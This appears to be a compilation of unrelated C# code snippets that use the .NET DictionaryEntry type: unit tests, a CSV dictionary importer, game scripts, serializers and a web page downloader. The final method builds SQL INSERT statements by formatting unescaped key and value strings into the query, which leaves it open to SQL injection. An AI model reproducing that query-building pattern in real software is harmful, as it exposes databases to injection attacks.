public List<DictionaryEntry> Import(IEnumerable<string> lines) { var list = new List<DictionaryEntry>(); if (lines == null) return list; foreach (var line in lines) { if (line == null) continue; var commaSeparatedWords = line.Split(','); if (!VerifyCommaSeparatedValues(commaSeparatedWords)) continue; var translations = commaSeparatedWords[2].Split(';').ToList(); for (var i = 0; i < translations.Count; i++) { translations[i] = translations[i].Trim(); } translations.RemoveAll(string.IsNullOrWhiteSpace); if (!VerifyTranslations(translations)) continue; var chineseCharacters = commaSeparatedWords[0].Trim(); var pinyin = commaSeparatedWords[1].Trim(); var entry = new DictionaryEntry( chineseCharacters, pinyin, translations.Select(p => new Translation(p)).ToList()); list.Add(entry); } return list; }
public bool PosTest1() { bool retVal = true; DictionaryEntry de; int value; TestLibrary.TestFramework.BeginScenario("PosTest1: Get and set integral value"); try { de = new DictionaryEntry(new object(), new object()); value = TestLibrary.Generator.GetInt32(-55); de.Value = value; if (value != (int)de.Value) { TestLibrary.TestFramework.LogError("001", "Failed to retrieve an integral value from Value: Expected(" + value + ") != Actual(" + (int)de.Value + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Unexpected exception: " + e); retVal = false; } return retVal; }
public bool PosTest2() { bool retVal = true; DictionaryEntry de; string value; TestLibrary.TestFramework.BeginScenario("PosTest2: Get and set string value"); try { de = new DictionaryEntry(new object(), new object()); value = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN); de.Value = value; if (!value.Equals(de.Value)) { TestLibrary.TestFramework.LogError("003", "Failed to retrieve an integral value from value: Expected(" + value + ") != Actual(" + de.Value + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception: " + e); retVal = false; } return retVal; }
public bool PosTest2() { bool retVal = true; DictionaryEntry de; TestLibrary.TestFramework.BeginScenario("PosTest2: null value"); try { de = new DictionaryEntry(new object(), null); if (null != de.Value) { TestLibrary.TestFramework.LogError("003", "Value is not null as expected: Actual(" + de.Value + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("004", "Unexpected exception: " + e); retVal = false; } return retVal; }
public bool PosTest1() { bool retVal = true; DictionaryEntry de; TestLibrary.TestFramework.BeginScenario("PosTest1: null key"); try { de = new DictionaryEntry(null, new object()); if (null != de.Key) { TestLibrary.TestFramework.LogError("001", "Key is not null as expected: Actual(" + de.Key + ")"); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("002", "Unexpected exception: " + e); retVal = false; } return retVal; }
public Answer(bool isCorrect, DateTime answerTime, TimeSpan duration, DictionaryEntry dictionaryEntry) { IsCorrect = isCorrect; AnswerTime = answerTime; Duration = duration; DictionaryEntry = dictionaryEntry; if (dictionaryEntry != null) DictionaryEntryId = dictionaryEntry.Id; }
void AddSprite(DictionaryEntry entry) { if (buttonsCount <= buttonSpots.Length) { buttonSequence.Add ((string)entry.Key); var spriteRenderer = buttonSpots[buttonsCount++].GetComponent<SpriteRenderer>(); spriteRenderer.sprite = (Sprite)entry.Value; renderers.Add(spriteRenderer); } }
public bool runTest() { Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer); String strLoc = "Loc_000oo"; String strValue = String.Empty; int iCountErrors = 0; int iCountTestcases = 0; DictionaryEntry entry; try { strLoc = "Loc_384sdg"; iCountTestcases++; entry = new DictionaryEntry("Hello", "World"); if((String)entry.Value!="World") { iCountErrors++; Console.WriteLine( "Err_93745sdg! wrong value returned"); } strLoc = "Loc_32497fxgb"; iCountTestcases++; entry = new DictionaryEntry(); if(entry.Value!=null) { iCountErrors++; Console.WriteLine( "Err_98345dsg! wrong value returned"); } strLoc = "Loc_32497fxgb"; iCountTestcases++; entry = new DictionaryEntry(5, 6); if((Int32)entry.Value!=6) { iCountErrors++; Console.WriteLine( "Err_983dsg! wrong value returned"); } entry = new DictionaryEntry("KeyIsString", 6); if((Int32)entry.Value!=6) { iCountErrors++; Console.WriteLine( "Err_983dsg! wrong value returned"); } } catch (Exception exc_general ) { ++iCountErrors; Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy! strLoc=="+ strLoc +", exc_general=="+exc_general.ToString()); } if ( iCountErrors == 0 ) { Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString()); return true; } else { Console.WriteLine("FAiL! "+s_strTFName+" ,inCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums ); return false; } }
public void ShouldGetQueuedEntryAfterInitialEntries() { var queuedEntry = new DictionaryEntry("好", "hao3", null); _enumerableShufflerMock.Setup(p => p.Shuffle(It.IsAny<List<DictionaryEntry>>())) .Returns(new List<DictionaryEntry> {queuedEntry}); _objectUnderTest.QueueEntry(queuedEntry); _objectUnderTest.GetNextEntry(); _objectUnderTest.GetNextEntry(); var actual = _objectUnderTest.GetNextEntry(); Assert.AreEqual(queuedEntry, actual); }
/// <summary> /// Compares two resource string items to each other /// </summary> /// <param name="first">First item</param> /// <param name="second">Second item</param> private static int CompareStrings(DictionaryEntry first, DictionaryEntry second) { bool firstUnknown = ((string)first.Key).EqualsCSafe((string)first.Value, true); bool secondUnknown = ((string)second.Key).EqualsCSafe((string)second.Value, true); if (firstUnknown == secondUnknown) { // Order by value string firstValue = ValidationHelper.GetString(first.Value, ""); string secondValue = ValidationHelper.GetString(second.Value, ""); return firstValue.CompareTo(secondValue); } // Order by unknown status return secondUnknown.CompareTo(firstUnknown); }
public void CopyTo(int count, int index) { StringDictionary stringDictionary = Helpers.CreateStringDictionary(count); DictionaryEntry[] array = new DictionaryEntry[count + index + 5]; stringDictionary.CopyTo(array, index); IEnumerator enumerator = stringDictionary.GetEnumerator(); for (int i = 0; i < index; i++) { Assert.Equal(default(DictionaryEntry), array[i]); } for (int i = index; i < index + count; i++) { enumerator.MoveNext(); DictionaryEntry entry = array[i]; Assert.Equal(enumerator.Current, entry); Assert.Equal(entry.Value, stringDictionary[(string)entry.Key]); } for (int i = index + count; i < array.Length; i++) { Assert.Equal(default(DictionaryEntry), array[i]); } }
public void TestSynchronized() { string[] strKeyArr = null; string[] strValueArr = null; //Synchronized SortedList /////////////////////////////// var hsh1 = new Hashtable(); var dic1 = new SortedList(); var icol1 = dic1.Keys; for (int i = 0; i < 100; i++) dic1.Add("Key_" + i, "Value_" + i); var dic2 = SortedList.Synchronized(dic1); //Count if (dic2.Count != dic1.Count) { hsh1["Synchronized"] = "Count"; } var dicEnt1 = new DictionaryEntry[dic2.Count]; dic2.CopyTo(dicEnt1, 0); //ContainsXXX var hsh3 = new Hashtable(); var iNumberOfElements = 100; for (int i = 0; i < iNumberOfElements; i++) { if (!dic2.Contains("Key_" + i)) { hsh1["Synchronized"] = "Contains"; } if (!((string)dic2["Key_" + i]).Equals("Value_" + i)) { hsh1["Synchronized"] = ", " + dic2["Key_" + i] + " " + ("Value_" + i) + " " + ((string)dic2["Key_" + i] != ("Value_" + i)); } try { hsh3.Add(((DictionaryEntry)dicEnt1[i]).Key, null); } catch (Exception ex) { hsh1["Synchronized"] = ex.GetType().Name; } } // Back to other methods var idicTest = dic2.GetEnumerator(); hsh3 = new Hashtable(); var hsh4 = new Hashtable(); while (idicTest.MoveNext()) { if (!dic2.Contains(idicTest.Key)) { hsh1["Enumerator"] = "Key"; } if (dic2[idicTest.Key] != idicTest.Value) { hsh1["Enumerator"] = "Key"; } try { hsh3.Add(idicTest.Key, null); } catch (Exception ex) { hsh1["Enumerator"] = ex.GetType().Name; } try { hsh4.Add(idicTest.Value, null); } catch (Exception ex) { hsh1["Enumerator"] = ex.GetType().Name; } } //we will serialize the Synchronized SortedList to make sure that the serialization methods there work corerctly var dic3 = SortedList.Synchronized((SortedList)dic2.Clone()); if (dic3.Count != dic1.Count) { hsh1["Serialized"] = ""; } dicEnt1 = new DictionaryEntry[dic3.Count]; dic3.CopyTo(dicEnt1, 0); hsh3 = new Hashtable(); for (int i = 0; i < iNumberOfElements; i++) { if (!dic3.Contains("Key_" + i)) { hsh1["SErialized"] = ""; } if (!((string)dic3["Key_" + i]).Equals(("Value_" + i))) { hsh1["SErialized"] = ""; } try { hsh3.Add(((DictionaryEntry)dicEnt1[i]).Key, null); } catch (Exception ex) { hsh1["SErialized"] = ex.GetType().Name; } } if (dic3.IsReadOnly) { hsh1["SErialized"] = ""; } Assert.Equal(hsh1.Count, 0); if (!dic3.IsSynchronized) { hsh1["SErialized"] = ""; } //Properties if (dic2.IsReadOnly) { hsh1["IsReadOnly"] = ""; } if (!dic2.IsSynchronized) { hsh1["IsSynchronized"] = ""; } if (dic2.SyncRoot != dic1.SyncRoot) { hsh1["SyncRoot"] = ""; } Assert.Equal(hsh1.Count, 0); //we will test the Keys & Values strValueArr = new string[dic1.Count]; strKeyArr = new string[dic1.Count]; dic2.Keys.CopyTo(strKeyArr, 0); dic2.Values.CopyTo(strValueArr, 0); hsh3 = new Hashtable(); hsh4 = new Hashtable(); for (int i = 0; i < iNumberOfElements; i++) { if (!dic2.Contains(strKeyArr[i])) { hsh1["Synchronized"] = "Keys"; } } //now we test the modifying methods dic2.Remove("Key_1"); if (dic2.Contains("Key_1")) { hsh1["Synchronized"] = "Remove"; } dic2.Add("Key_1", "Value_1"); if (!dic2.Contains("Key_1")) { hsh1["Synchronized"] = "Contains"; } if ((string)dic2["Key_1"] != ("Value_1")) { hsh1["Synchronized"] = "Contains"; } dic2["Key_1"] = "Value_Modified_1"; if (!dic2.Contains("Key_1")) { hsh1["Synchronized"] = "Contains"; } if ((string)dic2["Key_1"] != ("Value_Modified_1")) { hsh1["Synchronized"] = "Contains"; } dic3 = SortedList.Synchronized(dic2); if (dic3.Count != dic1.Count) { hsh1["Synchronized"] = "Synchronized"; } if (!dic3.IsSynchronized) { hsh1["Synchronized"] = "Synchronized"; } dic2.Clear(); if (dic2.Count != 0) { hsh1["Synchronized"] = "Synchronized"; } //Set/GetByIndex() dic1 = new SortedList(); icol1 = dic1.Keys; for (int i = 0; i < 100; i++) dic1.Add("Key_" + i, "Value_" + i); dic2 = SortedList.Synchronized(dic1); for (int i = 0; i < 100; i++) dic2.SetByIndex(i, "Changed_By_SetByIndex_Value_" + (i + 500)); for (int i = 0; i < 100; i++) { if (!((string)dic2.GetByIndex(i)).Equals("Changed_By_SetByIndex_Value_" + (i + 500))) hsh1["Syncronized"] = "Get/SetByIndex"; if (!dic2.ContainsKey("Key_" + i)) hsh1["Syncronized"] = "ContainsKEy"; if (dic2.ContainsKey("Key_" + (i + 5000))) hsh1["Syncronized"] = "ContainsKEy"; if (!dic2.ContainsValue("Changed_By_SetByIndex_Value_" + (i + 500))) hsh1["Syncronized"] = "ContainsValue, True"; if (dic2.ContainsValue("Changed_By_SetByIndex_Value_" + (i + 5000))) hsh1["Syncronized"] = "ContainsValue, False"; } //lets try outside the range for Set/GetByIndex try { dic2.SetByIndex(dic2.Count, "Who?"); hsh1["SetByIndex"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["SetByIndex"] = ex.GetType().Name; } try { dic2.SetByIndex(-1, "Who?"); hsh1["SetByIndex"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["SetByIndex"] = ex.GetType().Name; } try { dic2.GetByIndex(dic2.Count); hsh1["SetByIndex"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["SetByIndex"] = ex.GetType().Name; } try { dic2.GetByIndex(-1); hsh1["SetByIndex"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["SetByIndex"] = ex.GetType().Name; } while (dic2.Count == dic2.Capacity) { dic2.Add("Key_" + dic2.Count, "Value_" + dic2.Count); } dic2.TrimToSize(); if (dic2.Count != dic2.Capacity) { hsh1["TrimToSize"] = dic2.Count + " " + dic2.Capacity + " " + dic1.Capacity; } dic2.Clear(); for (int i = 0; i < 10; i++) dic1.Add("Key_" + i, "Value_" + i); for (int i = 0; i < 10; i++) { if (!((string)dic2.GetKey(i)).Equals("Key_" + i)) hsh1["Syncronized"] = "GetKey"; if (dic2.IndexOfKey("Key_" + i) != i) hsh1["Syncronized"] = "IndexOfKey, " + dic2.IndexOfKey("Key_" + i); if (dic2.IndexOfKey("Key_" + i + 500) != -1) hsh1["Syncronized"] = "IndexOfKey, " + dic2.IndexOfKey("Key_" + i + 500); if (dic2.IndexOfValue("Value_" + i) != i) hsh1["Syncronized"] = "IndexOfValue"; if (dic2.IndexOfValue("Value_" + i + 500) != -1) hsh1["Syncronized"] = "IndexOfValue"; } for (int i = 9; i >= 0; i--) { dic2.RemoveAt(i); if (dic2.ContainsKey("Key_" + i)) hsh1["Syncronized"] = "ContainsKEy"; if (dic2.ContainsValue("Value_" + i)) hsh1["Syncronized"] = "ContainsValue"; } if (dic2.Count != 0) hsh1["Syncronized"] = "Count"; try { dic2.GetKey(-1); hsh1["GetKey"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["GetKey"] = ex.GetType().Name; } try { dic2.GetKey(dic2.Count); hsh1["GetKey"] = ""; } catch (ArgumentOutOfRangeException) { } catch (Exception ex) { hsh1["GetKey"] = ex.GetType().Name; } //Synchronized - parameter try { dic2 = SortedList.Synchronized(null); hsh1["Synchronized"] = ""; } catch (ArgumentNullException) { } catch (Exception ex) { hsh1["GetObjectData"] = ex; } Assert.False(hsh1.Count > 0, "Error, Synchrnoized"); //Adding clone for the Synchronized method dic1 = new SortedList(); for (int i = 0; i < 100; i++) dic1.Add("Key_" + i, "Value_" + i); dic2 = SortedList.Synchronized(dic1); dic3 = (SortedList)dic2.Clone(); iNumberOfElements = dic3.Count; if (iNumberOfElements != dic1.Count) hsh1["Synchronized"] = "Clone"; for (int i = 0; i < iNumberOfElements; i++) { if (!dic3.Contains("Key_" + i)) { hsh1["Synchronized"] = "Clone"; } if (!((string)dic3["Key_" + i]).Equals("Value_" + i)) { hsh1["Synchronized"] = ", " + dic3["Key_" + i] + " " + ("Value_" + i) + " " + ((string)dic3["Key_" + i] != ("Value_" + i)); } } }
private void WriteXmlValue(object obj, WSParam outputParam, Type type, XmlWriter writer) { WSStatus status = WSStatus.NONE.clone(); try { object _temp = null; if (obj == null) { writer.WriteValue(string.Empty); } else if (obj.GetType().IsPrimitive || obj.GetType().Equals(typeof(string))) { writer.WriteValue(outputParam.TryReadPrimitiveWithDefault(obj, string.Empty, out _temp) ? _temp : string.Empty); } else if (type.IsCollection()) { if (obj is IEnumerable) { IEnumerable enu = obj as IEnumerable; if (enu == null || !enu.GetEnumerator().MoveNext()) { writer.WriteValue(string.Empty); } else { if (obj is IList) { IList list = obj as IList; Type lt = list[0].GetType(); if (lt.IsPrimitive) { writer.WriteValue(outputParam.TryReadPrimitiveWithDefault(obj, string.Empty, out _temp) ? _temp : string.Empty); } else { foreach (object item in list) { if (item is WSRecord) { ((WSRecord)item).WriteXml(writer); } else { object _item = null; writer.WriteValue(outputParam.TryReadPrimitiveWithDefault(item, string.Empty, out _item)? _item : string.Empty); } } } } else if (obj is IDictionary) { IDictionary list = obj as IDictionary; foreach (object item in list) { DictionaryEntry entry = (DictionaryEntry)item; writer.WriteStartElement(entry.Key != null ? entry.Key.ToString() : "undefined"); if (entry.Value is WSRecord) { ((WSRecord)entry.Value).WriteXml(writer); } else { object _item = null; writer.WriteValue(outputParam.TryReadPrimitiveWithDefault(entry.Value, string.Empty, out _item)? _item : string.Empty); } writer.WriteEndElement(); } } } } } else if (obj is WSRecord) { ((WSRecord)obj).WriteXml(writer); } else { try { new XmlSerializer(obj.GetType()).Serialize(writer, obj); } catch (Exception e) { CFunc.RegError(GetType(), e, ref status); writer.WriteValue(string.Empty); } } } catch (Exception e) { CFunc.RegError(GetType(), e, ref status); } }
internal KeyValuePairDictionaryEnumerator(object sync, IEnumerator <KeyValuePair <K, V> > enumerator) { this.enumerator = enumerator; this.sync = sync; entry = default; }
private IEnumerable <(string name, object value, Sensitivity sensitivity)> ExtractParamValues(DictionaryEntry pair, EndPointMetadata metaData) { var key = pair.Key.ToString(); var sensitivity = metaData.ParameterAttributes[key].Sensitivity ?? metaData.MethodSensitivity ?? Sensitivity.Sensitive; if (metaData.ParameterAttributes[key].IsLogFieldAttributeExists == true && (pair.Value is string) == false) { var type = pair.Value?.GetType(); if (type?.IsClass == true) { var metaParams = _metadataPropertiesCache.ParseIntoParams(pair.Value); foreach (var metaParam in metaParams) { var tuple = ( name : $"{key}.{metaParam.Name}", value : metaParam.Value, sensitivity : metaParam.Sensitivity ?? sensitivity); yield return(tuple); } } } else { yield return(key, pair.Value, sensitivity); } }
internal static Object Avg(ICollection value, DataType dataType, bool calculate) { int integerResult = 0; #if NET40 BigInteger bigIntegerResult = BigInteger.Zero; #endif Double doubleRessult = 0.000d; float floatResult = 0.000f; Decimal decimalResult = new Decimal(0.000); long longResult = 0L; short shortResult = 0; if (value != null) { int size = value.Count; IEnumerator itr = value.GetEnumerator(); while (itr.MoveNext()) { object valueToAdd = null; object current = itr.Current; if (current is DictionaryEntry) { DictionaryEntry entry = (DictionaryEntry)itr.Current; valueToAdd = entry.Key; size += (int)entry.Value; } else { valueToAdd = current; } switch (dataType) { case DataType.DOUBLE: doubleRessult += (Double)valueToAdd; break; case DataType.FLOAT: floatResult += (float)valueToAdd; break; case DataType.DECIMAL: decimalResult = Decimal.Add(decimalResult, (decimal)valueToAdd); break; case DataType.INTEGER: integerResult += (int)valueToAdd; break; #if NET40 case DataType.BIGINTEGER: BigInteger curr; if (valueToAdd is BigInteger) { curr = (BigInteger)valueToAdd; } else { curr = BigInteger.Parse(valueToAdd.ToString()); } bigIntegerResult = BigInteger.Add(bigIntegerResult, curr); break; #endif case DataType.LONG: longResult += (long)valueToAdd; break; case DataType.SHORT: shortResult += (short)valueToAdd; break; } } if (calculate) { switch (dataType) { case DataType.DOUBLE: return((double)(doubleRessult / size)); case DataType.FLOAT: return((float)(floatResult / size)); case DataType.DECIMAL: return((decimal)(decimalResult / size)); case DataType.INTEGER: return((int)(integerResult / size)); #if NET40 case DataType.BIGINTEGER: return(bigIntegerResult / (BigInteger)size); #endif case DataType.LONG: return((long)(longResult / size)); case DataType.SHORT: { return((short)(shortResult / size)); } } } else { if (dataType == DataType.DOUBLE) { return(new DictionaryEntry(doubleRessult, size)); } else if (dataType == DataType.FLOAT) { return(new DictionaryEntry(floatResult, size)); } else if (dataType == DataType.DECIMAL) { return(new DictionaryEntry(decimalResult, size)); } else if (dataType == DataType.INTEGER) { return(new DictionaryEntry(integerResult, size)); } else if (dataType == DataType.LONG) { return(new DictionaryEntry(longResult, size)); } else if (dataType == DataType.SHORT) { return(new DictionaryEntry(shortResult, size)); } #if NET40 else if (dataType == DataType.BIGINTEGER) { return(new DictionaryEntry(bigIntegerResult, size)); } #endif } } return(null); }
/// <summary> /// Actually downloads the files (note that it is synchronous) /// </summary> protected override void DoWork() { if (CancelRequested) { AcknowledgeCancel(); return; } // If the base document hasn't been populated, go get it if (m_htmlDocument == null) { m_htmlDocument = HTMLDocumentHelper.GetHTMLDocFromURL(m_url); } if (CancelRequested) { AcknowledgeCancel(); return; } // Get a list of referenced URLs from the document Hashtable urlList = HTMLDocumentHelper.GetResourceUrlsFromDocument(m_htmlDocument); if (CancelRequested) { AcknowledgeCancel(); return; } // Get the HTML from this document- we'll use this as the base HTML and replace // paths inside of it. string finalHTML = HTMLDocumentHelper.HTMLDocToString(m_htmlDocument); IEnumerator urlEnum = urlList.GetEnumerator(); while (urlEnum.MoveNext()) { DictionaryEntry element = (DictionaryEntry)urlEnum.Current; string url = (string)element.Key; string urlType = (string)element.Value; string fullUrl = HTMLDocumentHelper.EscapeRelativeURL(m_url, url); string fileName = FileHelper.GetValidFileName(Path.GetFileName(new Uri(fullUrl).AbsolutePath)); string relativePath; if (fileName != string.Empty) { if (urlType != HTMLTokens.Frame && urlType != HTMLTokens.IFrame) { relativePath = "referencedFiles/" + fileName; WebRequestWithCache request = new WebRequestWithCache(fullUrl); // Add the html document to the site Storage. using (Stream requestStream = request.GetResponseStream()) { if (requestStream != null) { using (Stream fileStream = m_siteStorage.Open(m_rootPath + relativePath, AccessMode.Write)) { StreamHelper.Transfer(requestStream, fileStream, 8192, true); } } } } else { fileName = Path.GetFileNameWithoutExtension(fileName) + ".htm"; relativePath = "referencedFiles/" + fileName; AsyncPageDownload frameDownload = new AsyncPageDownload(fullUrl, m_siteStorage, fileName, m_rootPath + "referencedFiles/", this.Target); frameDownload.Start(); frameDownload.WaitUntilDone(); // Regular expressions would allow more flexibility here, but note that // characters like ? / & have meaning in regular expressions and so need // to be escaped } finalHTML = finalHTML.Replace(UrlHelper.CleanUpUrl(url), relativePath); } if (CancelRequested) { AcknowledgeCancel(); return; } } // Escape any high ascii characters finalHTML = HTMLDocumentHelper.EscapeHighAscii(finalHTML.ToCharArray()); // Add the html document to the site Storage. Stream htmlStream = m_siteStorage.Open(m_rootPath + m_rootFile, AccessMode.Write); using (StreamWriter writer = new StreamWriter(htmlStream, Encoding.UTF8)) { writer.Write(finalHTML); } m_siteStorage.RootFile = m_rootFile; }
// Use this for initialization void Start() { syncSpeed = speed; if (isLocalPlayer) { #region Loading attributes and determining Role // Load Attributes set before entering game MenuScript NM = GameObject.Find("NetworkManager").GetComponent<MenuScript>(); attributes = NM.getAttributes(); // Check for highest value DictionaryEntry max = new DictionaryEntry("s", 0); foreach (DictionaryEntry de in attributes) { if ((int)de.Value > (int)max.Value) max = de; } //Determine primary role (if near middle he is just set to Basic) if ((int)max.Value > (100 / attributes.Count) + 5) { role = determineRole((string)max.Key); } else role = Role.Basic; #endregion //CmdTeamSelection(NM.team); CmdTeamSelection(NM.team > 0 ? NM.team : team); CmdNameSelection(NM.pName); RoleCharacteristics(role); SelectRole(); HUDScript hud = GameObject.Find("HUD").GetComponent<HUDScript>(); hud.SetPlayerStats(this); GetComponent<SyncInventory>().setInventory(hud.inventory); GameObject miniMapCamera = (GameObject)Instantiate(Resources.Load("Prefabs/MinimapCamera"), transform.position, Quaternion.Euler(90,0,0)); miniMapCamera.GetComponent<FollowTransform>().trans = transform; NM.GetComponent<MakeScreenshot>().Setup(); } currentMaterial = standardMaterial; if (isServer) syncHealth = syncMaxHealth; }
private bool DictionaryEntriesEqual(DictionaryEntry x, DictionaryEntry y, ref Tolerance tolerance) { var keyTolerance = Tolerance.Exact; return(AreEqual(x.Key, y.Key, ref keyTolerance) && AreEqual(x.Value, y.Value, ref tolerance)); }
private void CreateDistributionDataTable(ref DataTable dt, ref DataTable dt2, DictionaryEntry key) { int i = 0; foreach (DataRow dr in dt.Rows) { if (dr[9].ToString() == key.Key.ToString()) { if (PriceMarginTemplateID == 0) { PriceMarginTemplateID = int.Parse(dr[11].ToString()); } DataRow tempDR = dt2.NewRow(); tempDR.ItemArray = dt.Rows[i].ItemArray; dt2.Rows.Add(tempDR); dr.Delete(); } i++; } dt2.Columns.RemoveAt(11); dt2.Columns.RemoveAt(9); dt.AcceptChanges(); }
private static bool IsNotEmptyReservedSection(DictionaryEntry entry) { return(!(IsEmbeddedCollectionAndNullOrEmpty(entry) || IsLinkCollectionAndNullOrEmpty(entry))); }
public void TestCopyTo() { { bool errorThrown = false; try { Hashtable h = new Hashtable(); h.CopyTo(null, 0); } catch (ArgumentNullException e) { errorThrown = true; Assert.AreEqual("array", e.ParamName, "ParamName is not \"array\""); } Assert.IsTrue(errorThrown, "null hashtable error not thrown"); } { bool errorThrown = false; try { Hashtable h = new Hashtable(); Object[] o = new Object[1]; h.CopyTo(o, -1); } catch (ArgumentOutOfRangeException e) { errorThrown = true; Assert.AreEqual("arrayIndex", e.ParamName, "ParamName is not \"arrayIndex\""); } Assert.IsTrue(errorThrown, "out of range error not thrown"); } { bool errorThrown = false; try { Hashtable h = new Hashtable(); Object[,] o = new Object[1, 1]; h.CopyTo(o, 1); } catch (ArgumentException) { errorThrown = true; } Assert.IsTrue(errorThrown, "multi-dim array error not thrown"); } { bool errorThrown = false; try { Hashtable h = new Hashtable(); h['a'] = 1; // no error if table is empty Object[] o = new Object[5]; h.CopyTo(o, 5); } catch (ArgumentException) { errorThrown = true; } Assert.IsTrue(errorThrown, "no room in array error not thrown"); } { bool errorThrown = false; try { Hashtable h = new Hashtable(); h['a'] = 1; h['b'] = 2; h['c'] = 2; Object[] o = new Object[2]; h.CopyTo(o, 0); } catch (ArgumentException) { errorThrown = true; } Assert.IsTrue(errorThrown, "table too big error not thrown"); } { bool errorThrown = false; try { Hashtable h = new Hashtable(); h["blue"] = 1; h["green"] = 2; h["red"] = 3; Char[] o = new Char[3]; h.CopyTo(o, 0); } catch (InvalidCastException) { errorThrown = true; } Assert.IsTrue(errorThrown, "invalid cast error not thrown"); } { Hashtable h = new Hashtable(); h['a'] = 1; h['b'] = 2; DictionaryEntry[] o = new DictionaryEntry[2]; h.CopyTo(o, 0); #if TARGET_JVM // Hashtable is not an ordered collection! if (o[0].Key.Equals('b')) { DictionaryEntry v = o[0]; o[0] = o[1]; o[1] = v; } #endif // TARGET_JVM Assert.AreEqual('a', o[0].Key, "first copy fine."); Assert.AreEqual(1, o[0].Value, "first copy fine."); Assert.AreEqual('b', o[1].Key, "second copy fine."); Assert.AreEqual(2, o[1].Value, "second copy fine."); } }
/// <summary> /// Render the DictionaryEntry argument into a string /// </summary> /// <param name="rendererMap">The map used to lookup renderers</param> /// <param name="entry">the DictionaryEntry to render</param> /// <param name="writer">The writer to render to</param> /// <remarks> /// <para> /// Render the key, an equals sign ('='), and the value (using the appropriate /// renderer). For example: <c>key=value</c>. /// </para> /// </remarks> private void RenderDictionaryEntry(RendererMap rendererMap, DictionaryEntry entry, TextWriter writer) { rendererMap.FindAndRender(entry.Key, writer); writer.Write("="); rendererMap.FindAndRender(entry.Value, writer); }
protected override TKey GetKeyForItem(DictionaryEntry entry) { return((TKey)entry.Key); }
// Token: 0x06001067 RID: 4199 RVA: 0x00060D10 File Offset: 0x0005EF10 private static void WriteValue(object obj, JsonWriter writer, bool writer_is_private, int depth) { if (depth > JsonMapper.max_nesting_depth) { throw new JsonException(string.Format("Max allowed object depth reached while trying to export from type {0}", obj.GetType())); } if (obj == null) { writer.Write(null); return; } if (obj is IJsonWrapper) { if (writer_is_private) { writer.TextWriter.Write(((IJsonWrapper)obj).ToJson()); return; } ((IJsonWrapper)obj).ToJson(writer); return; } else { if (obj is string) { writer.Write((string)obj); return; } if (obj is double) { writer.Write((double)obj); return; } if (obj is int) { writer.Write((int)obj); return; } if (obj is bool) { writer.Write((bool)obj); return; } if (obj is long) { writer.Write((long)obj); return; } if (obj is Array) { writer.WriteArrayStart(); foreach (object obj2 in ((Array)obj)) { JsonMapper.WriteValue(obj2, writer, writer_is_private, depth + 1); } writer.WriteArrayEnd(); return; } if (obj is IList) { writer.WriteArrayStart(); foreach (object obj3 in ((IList)obj)) { JsonMapper.WriteValue(obj3, writer, writer_is_private, depth + 1); } writer.WriteArrayEnd(); return; } if (obj is IDictionary) { writer.WriteObjectStart(); foreach (object obj4 in ((IDictionary)obj)) { DictionaryEntry dictionaryEntry = (DictionaryEntry)obj4; writer.WritePropertyName((string)dictionaryEntry.Key); JsonMapper.WriteValue(dictionaryEntry.Value, writer, writer_is_private, depth + 1); } writer.WriteObjectEnd(); return; } Type type = obj.GetType(); if (JsonMapper.custom_exporters_table.ContainsKey(type)) { JsonMapper.custom_exporters_table[type](obj, writer); return; } if (JsonMapper.base_exporters_table.ContainsKey(type)) { JsonMapper.base_exporters_table[type](obj, writer); return; } if (!(obj is Enum)) { JsonMapper.AddTypeProperties(type); IEnumerable <PropertyMetadata> enumerable = JsonMapper.type_properties[type]; writer.WriteObjectStart(); foreach (PropertyMetadata propertyMetadata in enumerable) { if (propertyMetadata.IsField) { writer.WritePropertyName(propertyMetadata.Info.Name); JsonMapper.WriteValue(((FieldInfo)propertyMetadata.Info).GetValue(obj), writer, writer_is_private, depth + 1); } else { PropertyInfo propertyInfo = (PropertyInfo)propertyMetadata.Info; if (propertyInfo.CanRead) { writer.WritePropertyName(propertyMetadata.Info.Name); JsonMapper.WriteValue(propertyInfo.GetValue(obj, null), writer, writer_is_private, depth + 1); } } } writer.WriteObjectEnd(); return; } Type underlyingType = Enum.GetUnderlyingType(type); if (underlyingType == typeof(long) || underlyingType == typeof(uint) || underlyingType == typeof(ulong)) { writer.Write((ulong)obj); return; } writer.Write((int)obj); return; } }
public void insertResourceAttributes(string sn, DictionaryEntry[] de) { string sqlPattern = "insert into ResourcesAttribute([ID],[ResourceSN],[attrName],[attrValue]) VALUES('{0}','{1}','{2}','{3}')"; string sql = string.Empty; sql = "delete from ResourcesAttribute where ResourceSN='"+sn.Replace("'","''")+"'"; SqlHelper.ExecuteNonQuery(CommonInfo.ConQJVRMS, CommandType.Text, sql); foreach (DictionaryEntry d in de) { sql = string.Format(sqlPattern, Guid.NewGuid().ToString(), sn, d.Key.ToString(), d.Value.ToString()); //writeLog(@"c:\aaaaaaaaaaaaaaaaa.txt", sql); SqlHelper.ExecuteNonQuery(CommonInfo.ConQJVRMS, CommandType.Text, sql); } }
